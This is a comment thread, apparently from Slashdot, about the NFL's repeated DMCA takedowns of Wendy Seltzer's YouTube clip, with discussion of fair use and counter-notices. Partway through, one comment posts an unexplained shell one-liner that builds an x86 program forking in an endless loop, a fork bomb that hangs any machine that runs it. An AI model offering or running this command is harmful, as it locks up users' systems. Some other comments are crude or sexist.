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NFL Caught Abusing the DMCA
Implied Oral Consent writes "You know how the NFL puts up those notices before every game saying 'This telecast is copyrighted by the NFL for the private use of our audience, and any other use of this telecast or of any pictures, descriptions or accounts of the game without the NFL's consent is prohibited?' Well, Ars Technica is reporting that Wendy Seltzer thought that that was over-reaching and posted a video of the notice on YouTube. Predictably, the NFL filed a DMCA Take Down notice on the clip. But Ms. Seltzer knows her rights, so she filed a DMCA Counter Notice. This is when the NFL violated the DMCA, by filing another Take Down notice instead of taking the issue to court — their only legitimate option, according to the DMCA. Unfortunately for the NFL, Ms. Seltzer is a law professor, an EFF lawyer, and the founder of Chilling Effects. Oops!"
Quite a clever woman.
I wonder if filing a DMCA counter claim and having it ignored is grounds for dismissal and so now she can keep it up on youtube forever?
I'm an Aussie, so I've never watched an NFL game such as this, but that notice "This telecast is copyrighted by the NFL for the private use of our audience, and any other use of this telecast or of any pictures, descriptions or accounts of the game without the NFL's consent is prohibited" is just plain crazy (hence her initial video posting I suppose)... I mean trying to stop people DESCRIBING an event... dear god who the F*ck do they think they are? What are you supposed to do when you're talking to your mates about the big game?
"Hey Bob, see the big game last night?"
"Yeah Gary, I sure did... it was awesome!"
"What did you think about the touchdown in the..."
"SSSSSSHHHHH! What are you doing Gary? You can't discuss the game without prior consent... just hang on a sec."
Ring ring... ring ring...
*Welcome to the NFL DMCA Hotline, your call is important to us, you are currently number 13445 in the queue*.
"Oh F*ck that, let's talk about world political events"
No.
There is a larger explanation of this ensconced in the statute, but Seltzer's use of the work is easily covered by the fair use exception. She posted it for criticism and commentary purposes, not for profit; the clip was posted as the best way to report on factual information; it was a puny segment of the original football game broadcast; and there is virtually no negative effect on the NFL's market for the posted material (after all, who would buy a video clip of their copyright assertion).
The reason the DMCA counter-takedown provision is there is because the public has a right to use copyrighted materials in this fashion, and in this case, the NFL confounded Seltzer's ability to exercise that right through the second takedown request. This portion of the DMCA is actually fairly reasonable in protecting both copyright holders and the public interest, and Seltzer was exercising her rights under the law, so the NFL is solely and completely to blame here.
More than likely, if there is a revision to the DMCA stemming from this event, it would be to eliminate the "loophole" that penalizes a second takedown notice after a counternotice. Or, counternotices would no longer be available. The stakeholders in the DMCA have sufficient finances to make sure that revisions would benefit their perceived interests, not those of the public at large.
You know what, in one day this woman has done more for my rights and the rights of others than you will in your life. If holding those who influence the law to actually abiding by them is pedantic, then I declare pedantry heroic.
Leben Sie jetzt die Fragen.
Umm, methinks you are unfamiliar with US Fair Use Criteria.
She's a Law Professor, using an excerpt of a broadcast, the minimally necessary portion of it, in order to create a derivative work or commentary (her class).
I wish there was an HTML tag for patriotism. If you don't like the USA, then don't read below.
Unlike the ROW, which, despite your self important (usually the result of an inferiority complex) kafeeklatsh derision of US, is actually a corporatist dirigiste (with the state being the largest corporation) hell-hole, the US is still a common-law, the law applies to everyone, power is delegated from the people to the state, entity, even if it doesn't always seem that way.
In this case, you've got someone who knows the law, and has the corporatists by the jock-strap. The NFL are toast.
God Bless the USA. BTW: I'm an Immigrant from Europe, Ireland Specifically. When I left, my Mum asked me why, I said "Because in America, you have the right to be wrong, in Ireland, you only have the right to be right." Irish by birth, US Citizen by choice.
In the rich democracies, businesses generally don't bother with overt criminality, because they'd just have to give up the money anyway.
Wow. What color is the air on your planet?
Businesses quite often go straight for overt criminality because they know that they can make a billion and pay a million dollar fine.
Heck, just look at Microsoft for the canonical example of that.
It's cute to be cynical
No, cynicism about that and realism coincide completely. There isn't anything "cute" about it.
But the fact that she will probably win this case points to a deep, significant difference between "the west" and the rest.
You misspelled "might".
It's only even "might" because what the NFL is trying to pull is *so* blatantly illegal. And it's only that because the DMCA is so new. This kind of shit is the purpose of that and similar recent laws such as the traitor act (Orwellianly named "Patriot") which, surprise surprise is being abused exactly as predicted by every sane person. A real no brainer since that was its purpose.
Perhaps you should pull your head out of whatever orifice you've stuffed it in and look around.
Maybe if you did you'd notice that the differences you're feebly attempting to illustrate are getting smaller and smaller all the time.
The fact that this is even happening at all proves that point.
Copyright your DNA, and send a DMCA notice to your wife forcing her to delete or surrender the kids as unauthorized derivative works of your exclusive intellectual property.
Then move in with Miss Seltzer.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
You gotta be joking! You'd last about 10 minutes, whenever you left the toilet seat up you'd be so wrapped up in litigation that you'd be lucky if you ever peed again!
Wendy Seltzer is absolutely right. Her job ( as an academic lawyer involves comment on legal issues, and a corporation tried to stop her freely commenting on just such an issue because they didn't like the implied criticism. Normally when a lawyer stands up to the rich and powerful we cheer, not sneer. Dear astroturfers, football in all its varieties around the world thrives on corruption and dodgy business. No matter on what scale, people who try to clean up sport are working in the public interest. So now go back to your sad little PR jobs and fuck off, please
Pining for the fjords
Imagine how these women feel if they read slashdot. Here they are, busting their asses to do something cool/good, they finally get some recognition, and the response is a debate on how nice her hips look or don't.
If slashdot really does represent a cross section of the IT industry, I understand now why there are so few women in that industry.
weirdest thing I ever saw: scientology advertising on slashdot.
Is this really that hard of a question? Guys like girls who have some common interests as well as being physically attractive. Ever notice how average Joe's start slobbering when they hear a hot chick likes to drink beer and watch NFL? Same thing with geeks, they dream of hot geeky girls. Now of course it's true most readers will never meet these women, most guys are never going to meet any Victoria's Secret models, but that hardly stops them from talking about how hot they consider them. Furthermore, while model-type women may represent a small percentage of the population, it's no great surprise to see one while out walking. Hot geeky girls, on the other hand, are much more elusive. A geek in a small town could easily go his whole life without meeting a HGG. As a student at a large public university, I've met 0 hot, seriously-geeky girls and a few hot, sorta-geeky girls.
Just knowing such women are out there can be of major importance to a guy. If this kind of response really was the reason so few women are in the industry, it sure would seem to be a vicious-cycle. Scarcity of women -> slobbering response -> greater scarcity, and so on. However, genetic disposition and residual cultural restraints probably have a lot more to do with it.
Wendy Seltzer was our pro-bono, FSF-appointed attorney for a few years when we were investigating a commercial company (not intentionally linked here, they don't deserve the hits) for using our GPL code without complying with the license.
All we wanted, was for them to bring themselves into compliance... and they insisted that they were, and we were wrong, and that the GPL was "...subject to interpretation". So we contacted the FSF and they gave us Wendy. It's been a few years now, and we never really got final closure on the situation, so I'm not sure where it stands at this point. (past copyright infringement does not just vanish if you stop violating it in the present, however).
I have collaborated with Wendy over numerous dozens of emails and personally met her to sit down with the CEO of aforementioned alleged-infringing company in New York, and I can say that she really knows her field. I'm happy that she's doing good things for the EFF, they need someone of her skillset on-staff.
I have nothing but praise for her abilities and her skills. She was a brick wall between our project and the commercial company who tried to threaten us many times with their millions of dollars of investor money to try to silence us.
If Wendy is on your side, it's a good thing. It's where she shines the best.
Exec: "Hey found this on Utube, man, kill it!!"
Lawyer: "Sir, yes, Sir" {emails DMCA takedown}
Lawyer: "WTF... !! Sir, they issued a counter takedown!"
Exec: "What the hell is that?"
Lawyer: "I'm not sure it has never happened before, it must be a mistake, I'll just email the takedown notice again... Maybe I should look up this DMCA in one of those big books I have in my office"